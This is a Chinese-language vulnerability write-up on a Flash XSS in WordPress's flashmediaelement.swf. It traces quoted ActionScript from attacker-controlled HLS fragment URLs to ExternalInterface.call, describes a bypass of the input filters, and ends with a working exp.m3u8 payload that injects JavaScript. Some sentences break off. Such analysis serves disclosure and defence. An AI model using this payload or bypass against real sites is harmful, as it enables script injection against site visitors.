一般来说, 开源CMS所使用的Flash文件也都来自其他的开源项目, 所以直接获取WordPress所使用的SWF文件的actionscript源码并不是一件困难的事情. 以本次漏洞的目标文件 Vulnerable Output首先来看存在漏洞的输出, 99%的Flash XSS都是由于 org.mangui.hls.utils.Log public class Log { private static const LEVEL_INFO : String = "INFO:"; private static const LEVEL_DEBUG : String = "DEBUG:"; private static const LEVEL_WARN : String = "WARN:"; private static const LEVEL_ERROR : String = "ERROR:"; public static function info(message : *) : void { if (HLSSettings.logInfo) outputlog(LEVEL_INFO, String(message)); }; public static function debug(message : *) : void { if (HLSSettings.logDebug) outputlog(LEVEL_DEBUG, String(message)); }; public static function debug2(message : *) : void { if (HLSSettings.logDebug2) outputlog(LEVEL_DEBUG, String(message)); }; public static function warn(message : *) : void { if (HLSSettings.logWarn) outputlog(LEVEL_WARN, String(message)); }; public static function error(message : *) : void { if (HLSSettings.logError) outputlog(LEVEL_ERROR, String(message)); }; /** Log a message to the console. **/ private static function outputlog(level : String, message : String) : void { if (ExternalInterface.available) ExternalInterface.call('console.log', level + message); else trace(level + message); } }; 只要攻击者能够控制传入Log类下5个静态方法的参数, 就可以触发XSS. 在默认的HLSSettings里面(同时也是WordPress里flashmediaelement.swf的设置), 只有 通过跟踪代码发现, HLS类中的dispatchEvent方法调用了Log.error这个方法, 传入的参数是HLSEvent类的error属性. org.mangui.hls.HLS /** Forward internal errors. **/ override public function dispatchEvent(event : Event) : Boolean { if (event.type == HLSEvent.ERROR) { CONFIG::LOGGING { Log.error((event as HLSEvent).error); } _hlsNetStream.close(); } return super.dispatchEvent(event); }; 继续查看HLSEvent类中error属性的定义 org.mangui.hls.event.HLSEvent public class HLSEvent extends Event { /* ... */ /** The error message. **/ public var error : HLSError; /* ... */ /** Assign event parameter and dispatch. **/ public function HLSEvent(type : String, parameter : *=null) { switch(type) { /* ... */ case HLSEvent.ERROR: error = parameter as HLSError; break; /* ... */ } super(type, false, false); }; } 继续看HLSError的定义 org.mangui.hls.event.HLSError public class HLSError { public static const OTHER_ERROR : int = 0; public static const MANIFEST_LOADING_CROSSDOMAIN_ERROR : int = 1; public static const MANIFEST_LOADING_IO_ERROR : int = 2; public static const MANIFEST_PARSING_ERROR : int = 3; public static const FRAGMENT_LOADING_CROSSDOMAIN_ERROR : int = 4; public static const FRAGMENT_LOADING_ERROR : int = 5; public static const FRAGMENT_PARSING_ERROR : int = 6; public static const KEY_LOADING_CROSSDOMAIN_ERROR : int = 7; public static const KEY_LOADING_ERROR : int = 8; public static const KEY_PARSING_ERROR : int = 9; public static const TAG_APPENDING_ERROR : int = 10; private var _code : int; private var _url : String; private var _msg : String; public function HLSError(code : int, url : String, msg : String) { _code = code; _url = url; _msg = msg; } public function get code() : int { return _code; } public function get msg() : String { return _msg; } public function get url() : String { return _url; } public function toString() : String { return "HLSError(code/url/msg)=" + _code + "/" + _url + "/" + _msg; } }
我们再缕一遍XSS攻击中可能的数据流. 攻击者控制的部分参数传入HLSError的构造函数的 Evil Input再回过头来看看输入端. flashmediaelement.swf对外部的输入有两层防御. 第一层, 它会检查所有的参数是否包含恶意字符, 如果包含, 则直接返回终止执行; 第二层, 它会检查外部传入的参数是否是在URL中的QueryString出现过, 如果是, 则删除该部分, 避免直接通过URL传参. FlashMediaElement public class FlashMediaElement extends MovieClip { public function FlashMediaElement() { // 第一层, 检查参数是否包含非法字符 checkFlashVars(loaderInfo.parameters); if (securityIssue) { return; } // 第二层, 忽略所有从URL中传入的参数 var params:Object, pos:int, query:Object; params = LoaderInfo(this.root.loaderInfo).parameters; pos = root.loaderInfo.url.indexOf('?'); if (pos !== -1) { query = parseStr(root.loaderInfo.url.substr(pos + 1)); for (var key:String in params) { if (query.hasOwnProperty(trim(key))) { delete params[key]; } } } /* ... */ } /* ... */ private function checkFlashVars(p:Object):void { var i:Number = 0; for (var s:String in p) { if (isIllegalChar(p[s], s === 'file')) { securityIssue = true; // Illegal char found } i++; } if(i === 0 || securityIssue) { directAccess = true; } } /* ... */ private function isIllegalChar(s:String, isUrl:Boolean):Boolean { var illegals:String = "' \" ( ) { } * + \\ < >"; if(isUrl) { illegals = "\" { } \\ < >"; } if(Boolean(s)) { // Otherwise exception if parameter null. for each (var illegal:String in illegals.split(' ')) { if(s.indexOf(illegal) >= 0) { return true; // Illegal char found } } } return false; } /* ... */ private static function parseStr (str:String) : Object { var hash:Object = {}, arr1:Array, arr2:Array; str = unescape(str).replace(/\+/g, " "); arr1 = str.split('&'); if (!arr1.length) { return {}; } for (var i:uint = 0, length:uint = arr1.length; i < length; i++) { arr2 = arr1[i].split('='); if (!arr2.length) { continue; } hash[trim(arr2[0])] = trim(arr2[1]); } return hash; } } 对于第二层防止直接从URL传参的防御, 可以利用Flash Player对URL参数的解析和flashmediaelement.swf代码中对URL参数的解析的差异进行绕过. Flash Player会丢弃URL里%后非16进制的字符, 所以 通过上述的分析, 查找所有调用dispatchEvent函数的地方, 分析其传入的参数, 发现如下: org.mangui.hls.loader.FragmentLoader private function _fragLoadErrorHandler(event : ErrorEvent) : void { if (event is SecurityErrorEvent) { var txt : String = "Cannot load fragment: crossdomain access denied:" + event.text; var hlsError : HLSError = new HLSError(HLSError.FRAGMENT_LOADING_CROSSDOMAIN_ERROR, _frag_current.url, txt); _hls.dispatchEvent(new HLSEvent(HLSEvent.ERROR, hlsError)); } else { _fraghandleIOError("HTTP status:" + _frag_load_status + ",msg:" + event.text); } }; 上述代码是加载fragment时的一个处理错误的handler, 当加载的fragment为一外域的资源, 且该域的crossdomain.xml不允许swf所在域与其通信时, 会抛出一个hlsError的实例, 其中的参数就包含试图加载的fragment的url. 通过查询M3U8的文件格式, 我们可以通过文件内容指定加载的fragment的URL. exp.m3u8 #EXTM3U #EXT-X-TARGETDURATION:10 #EXTINF:10, http://www.baidu.com/a.ts\")+alert(2))}catch(e){}// Timeline
|
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|